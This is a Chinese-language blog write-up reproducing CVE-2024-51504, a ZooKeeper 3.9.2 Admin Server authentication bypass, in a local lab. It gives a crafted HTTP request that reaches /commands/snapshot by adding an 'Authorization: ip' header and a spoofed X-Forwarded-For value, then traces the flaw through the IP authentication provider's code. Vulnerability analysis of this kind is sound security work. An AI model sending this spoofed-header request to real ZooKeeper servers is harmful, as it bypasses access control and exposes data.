zookeeper-Admin-Server认证绕过-CVE-2024-51504

环境配置

下载zookeeper release 3.9.2, 修改./bin/zkServer.sh,配置下远程debug

QQ_1731068425910

修改配置文件名为zoo.cfg,底下加两行

1
2
admin.server.enabled = true
admin.server.port =8080

打开admin server

./zkServer.sh start 启动服务器。

复现过程

./zkCli.sh -server 127.0.0.1:2181 连接到本地。

setAcl / ip:127.0.0.1:cdrwa

参考:https://xiaoxiami.gitbook.io/zookeeper/zookeeper-cao-zuo-ming-ling/quan-xian-acl-ming-ling#ip192.168.1.1permissions-cao-zuo

把根设置为只有127.0.0.1的才能操作。

直接访问/commands/snapshot, 显示未授权。

抓包后修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /commands/snapshot HTTP/1.1
Host: 127.0.0.1:8080
Authorization:ip a
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
X-Forwarded-For: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OFBiz.Visitor=10100
Connection: close


添加Authorization头,ip<space>随便,X-Forwarded-For修改后即可访问。

将127.0.0.1修改为127.0.0.2(或其他地址),返回未授权:

QQ_1731318313128

原理分析

官方文档有点离奇,踩了一点坑。对Admin Server部分,老版本文档提到了IPAuthenticationProvider,写的很明白就是用X-Forwarded-For作验证的,以为又是随手拈来的洞,但是配置的时候花了好长时间,新文档直接没了,有关权限和认证也写在了不在Admin Server的部分。参考了一些网上资料后,最后具体看代码分析了,稍微多花了点时间。

我还是在md里找到的:

QQ_1731318472876

在JettyAdminServer#doGet,这里截取了Authorization头信息作为authInfo,传递给了runGetCommand。

QQ_1731318593230

在Commands#runCommand:

QQ_1731319012556

关键在于这个handleAuthentication(验证完后面是授权了,可以不用管)

Commands#handleAuthentication:

QQ_1731319082669

用空格把Authorization头内容打成数组,第一部分是schema,决定选哪个Provider。

QQ_1731319866064

默认就两。

IPAuthenticationProvider#handleAuthentication:

QQ_1731319924111

authData后面也没用到,所以随便填就行,这里获取IP地址用了getClientIPAddress

QQ_1731319968060

QQ_1731319974435

很简单。最后返回给ids:

QQ_1731320056096

后面就是授权部分了。

Commands#handleAuthorization

QQ_1731320002992

取出了acls,和ids进行对比。具体逻辑就不看了。

完。


zookeeper-Admin-Server认证绕过-CVE-2024-51504
http://example.com/2024/11/08/zookeeper-Admin-Server认证绕过-CVE-2024-51504/
Aŭtoro
zhattatey
Postigita
November 8, 2024
Lizenta